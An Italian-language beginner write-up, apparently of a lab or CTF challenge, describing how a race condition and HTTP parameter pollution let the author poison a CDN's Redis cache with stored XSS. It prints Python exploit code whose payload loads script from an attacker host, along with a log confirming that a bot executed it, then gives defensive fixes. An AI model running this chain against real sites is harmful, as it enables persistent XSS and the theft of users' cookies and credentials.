Racecondition
🎯 Come Ho Hackerato un Sito con una Race Condition
Una Guida Completa per Principianti
🤔 Cos’è una Race Condition?
Immagina di essere in fila al supermercato con un amico. Entrambi volete comprare l’ultimo iPhone in offerta. Il cassiere dice “Chi arriva primo lo prende!” - corrente entrambi, ma il sistema non sa chi è arrivato veramente primo. Questo è una race condition: quando due operazioni simultanee creano un risultato imprevedibile.
Nel mondo informatico, succede quando:
- Due richieste arrivano nello stesso momento
- Il sistema non ha meccanismi per gestire l’ordine
- Il risultato dipende da chi “vince la corsa”
🏗 L’Architettura del Sistema Vulnerabile
Il sito che ho attaccato aveva questa struttura:
👤 Utente → 🚀 CDN Proxy (porta 1337) → 🌐 Web App (porta 8888)
↕
💾 Cache Redis
CDN Proxy (Go):
- Riceve le richieste degli utenti
- Controlla se la risposta è già in cache Redis
- Se non c’è (MISS), va a prenderla dal server web
- Salva la risposta in cache per 60 secondi
Web App (Python):
- Gestisce login, ricerche, citazioni
- Ha una funzione di ricerca che cerca nelle citazioni
- Salva tutte le ricerche fatte dagli utenti
🎯 Il Piano di Attacco
Obiettivo: Iniettare codice JavaScript maligno (XSS) e farlo eseguire ad altri utenti
La Vulnerabilità:
Il CDN non protegge contro richieste simultanee che causano cache poisoning
Strategia in 4 Fasi:
📋 FASE 1: Preparazione del Terreno
Cosa fa il mio script:
# Registra un account
await register() # username: "c0der", password: "c0der"
# Fa login e ottiene il cookie di sessione
status, cookie = await login()
Perché serve:
- Ho bisogno di un account valido per fare ricerche
- Il cookie mi identifica come utente autenticato
- Senza cookie, non posso accedere alle funzioni di ricerca
🔍 Cosa succede: Il server mi riconosce come utente legittimo
📋 FASE 2: Flood di Citazioni (Il Trucco Geniale)
Cosa fa:
# Invia 30.000 citazioni casuali al server
TOTAL_REQUESTS = 30000
await flood_quotes(cookie)
Il trucco nascosto:
def generate_multiple_quotes_from_json(total_length):
# Genera citazioni casuali da parole vere
words = []
current_length = 0
while current_length < total_length:
word = random.choice(all_words) # Parole vere da quotes.json
words.append(word)
current_length += len(word) + 1
return " ".join(words)
Perché è importante:
- Il server web salva ogni ricerca fatta dagli utenti
- Quando faccio flood di citazioni, riempio il database di parole
- Queste parole diventano termini di ricerca “precedenti”
- Più parole ho, più possibilità di trovare termini cacheable
🔍 Cosa succede: Creo un oceano di termini di ricerca nel database
📋 FASE 3: La Ricerca del Punto Debole
Il loop di scoperta:
async def search_loop():
while not exit_event.is_set():
# 1. Chiedo al server: "Quali ricerche sono state fatte prima?"
prev = await get_prev_searches(session, cookie)
# 2. Filtro quelle nuove
new_searches = [s for s in prev["searches"]
if s not in seen_prev_searches]
# 3. Provo l'attacco su ogni termine nuovo
await flood_malicious_get(session, cookie, new_searches, blacklist)
La logica dell’attacco:
- Il server mi dice che qualcuno ha cercato, ad esempio, “hello world”
- Io provo a fare una richiesta maligna per “hello world”
- Se la cache è vuota, posso “avvelenare” la cache
🔍 Cosa succede: Scandaglio tutte le ricerche precedenti per trovare quelle non in cache
📋 FASE 4: L’Attacco Race Condition (Il Momento Cruciale)
Questa è la parte più complessa. Ecco cosa succede millisecondo per millisecondo:
L’Exploit in Dettaglio:
async def malicious_get(session, cookie, query_payload):
# Il mio payload XSS che verrà iniettato
XSS_PAYLOAD = "<script/src=http://192.168.1.16/lol.js></script>"
# Faccio una richiesta GET ma con dati POST (trucco HTTP)
url = f"{BASE_URL}/search?query={parse.quote(query_payload)}"
data = f"query={XSS_PAYLOAD}" # Questo sovrascrive il parametro URL!
async with session.get(url, headers=headers, data=data) as resp:
return await resp.text(), resp.headers
Il Momento Magico - Timeline Precisa:
⏰ T+0ms: Invio richiesta GET /search?query=hello%20world
ma con BODY data="query=<script/src=http://192.168.1.16/lol.js></script>"
⏰ T+1ms: CDN controlla cache Redis per "hello world" → MISS
⏰ T+2ms: CDN inoltra richiesta al Web App
⏰ T+50ms: Web App processa:
- URL dice "hello world"
- BODY dice "<script>..."
- BODY vince! (HTTP parsing rules)
⏰ T+100ms: Web App cerca "<script>..." nel database
Risultato: "Results for '<script/src=http://192.168.1.16/lol.js></script>'"
⏰ T+150ms: CDN riceve risposta con XSS e la salva in cache con chiave "hello world"
⏰ T+200ms: Io ricevo risposta, controllo X-Cache: miss
La Verifica dell’Attacco:
# Subito dopo, faccio un'altra richiesta normale
result, headers = await confirm_get(session, cookie, search_term)
if check_result(result, headers, "hit"):
# SUCCESS! La cache ora contiene il mio XSS
print(f"[+] lol.js triggered at '{search_term}'")
🔍 Cosa succede: Ho “avvelenato” la cache! Ora chiunque cerca “hello world” riceverà il mio JavaScript maligno.
🎉 FASE 5: L’Esecuzione dell’XSS
Cosa succede quando un utente normale cerca “hello world”:
👤 Utente normale → 🚀 CDN → 💾 Redis Cache
CDN trova: "Results for '<script/src=http://192.168.1.16/lol.js></script>'"
CDN invia al browser dell'utente: X-Cache: hit
🌐 Browser utente vede: <script/src=http://192.168.1.16/lol.js></script>
🌐 Browser esegue: GET http://192.168.1.16/lol.js
PROOF OF SUCCESS:
172.17.0.2 - - [26/May/2025 15:03:44] "GET /lol.js HTTP/1.1" 200
Questo log significa: Un browser (probabilmente il bot del server) ha eseguito il mio JavaScript!
🔬 Analisi Tecnica: Perché Ha Funzionato?
1. HTTP Parameter Pollution
# URL: /search?query=hello%20world
# BODY: query=<script>...
# Server sceglie BODY sui URL params!
2. Cache Key Mismatch
Cache Key: "hello world" (dall'URL)
Cache Value: "Results for '<script>...'" (dal BODY)
3. Timing Window
Cache Miss → Forward Request → Process → Cache Set
↑ ↑
1-5ms 100-200ms
La finestra di 100-200ms è sufficiente per l'exploit!
4. Mancanza di Input Validation
- Il server non valida il contenuto XSS
- Il CDN non controlla il contenuto prima di cache
- Non c’è Content Security Policy (CSP)
🛡 Come Difendersi da Questo Attacco
Lato CDN:
// Implementare single-flight pattern
var inFlight = make(map[string]chan *Response)
var mu sync.Mutex
func getSingleFlight(key string) *Response {
mu.Lock()
if ch, exists := inFlight[key]; exists {
mu.Unlock()
return <-ch // Aspetta il risultato della prima richiesta
}
ch := make(chan *Response, 1)
inFlight[key] = ch
mu.Unlock()
// Fai la richiesta
resp := forwardRequest(...)
ch <- resp
mu.Lock()
delete(inFlight, key)
mu.Unlock()
return resp
}
Lato Web App:
# Input validation
def sanitize_input(query):
# Rimuovi caratteri pericolosi
dangerous_chars = ['<', '>', '"', "'", '&', 'script']
for char in dangerous_chars:
if char in query.lower():
raise ValueError("Invalid input")
return query
# Content Security Policy
self.set_header("Content-Security-Policy",
"default-src 'self'; script-src 'self'")
Architettura:
- Separare cache key da contenuto
- Validare input prima del cache
- Implementare rate limiting
- Aggiungere logging dettagliato
🎯 Conclusioni
Cosa ho dimostrato:
- Race Condition reale con impatto di sicurezza
- Cache Poisoning per XSS persistente
- HTTP Parameter Pollution per bypassare controlli
- Timing Attack sfruttando window microscopiche
Perché è pericoloso:
- L’XSS colpisce tutti gli utenti futuri
- È persistente (rimane in cache)
- È difficile da rilevare
- Può rubare cookie, password, dati sensibili
La lezione:
Le race condition non sono solo problemi teorici - possono essere sfruttate per attacchi reali!
Ogni sistema concorrente deve essere progettato considerando le race condition come un rischio di sicurezza, non solo di performance.
🔥 Questo exploit dimostra l’importanza di testare i sistemi sotto carico e con richieste simultanee - le vulnerabilità più pericolose emergono spesso solo in condizioni di concorrenza!